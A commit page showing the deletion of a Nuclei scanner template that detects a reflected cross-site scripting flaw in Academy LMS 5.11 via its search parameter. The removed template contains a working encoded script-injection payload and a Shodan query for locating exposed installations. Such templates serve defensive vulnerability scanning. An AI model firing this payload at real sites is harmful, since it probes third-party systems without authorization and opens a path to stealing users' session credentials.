Merge pull request #9670 from projectdiscovery/academy-lms-xss

Delete http/vulnerabilities/other/academy-lms-xss.yaml
patch-1
Ritik Chaddha 2024-04-30 14:21:55 +05:30 committed by GitHub
commit 65f4f23e0e
No known key found for this signature in database
GPG Key ID: B5690EEEBB952194
1 changed files with 0 additions and 45 deletions

View File

@ -1,45 +0,0 @@
id: academy-lms-xss
info:
name: Academy Learning Management System 5.11 - Cross-Site Scripting
author: arafatansari
severity: medium
description: |
Academy Learning Management System 5.11 contains a cross-site scripting vulnerability via the Search parameter. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
reference:
- https://packetstormsecurity.com/files/170514/Academy-LMS-5.11-Cross-Site-Scripting.html
- https://vulners.com/packetstorm/PACKETSTORM:170514
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
cvss-score: 5.4
cwe-id: CWE-80
metadata:
verified: true
max-request: 1
shodan-query: http.html:"Academy LMS"
tags: packetstorm,lms,academy,xss
http:
- method: GET
path:
- "{{BaseURL}}/search?query=%22%3E%3Cscript%3Ealert(document.domain)%3C/script%3E"
matchers-condition: and
matchers:
- type: word
part: body
words:
- '<script>alert(document.domain)</script>'
- 'Academy LMS'
condition: and
- type: word
part: header
words:
- "text/html"
- type: status
status:
- 200
# digest: 4b0a004830460221009e530a17ae78eac3aa6f5f7068e7bf08f565124913897a0d1dd64d31f40788d2022100b28dd0a800a903ce5787b586745bf33830e97dec0adc8a91858774a5ba5218c9:922c64590222798bb761d5b6d8e72950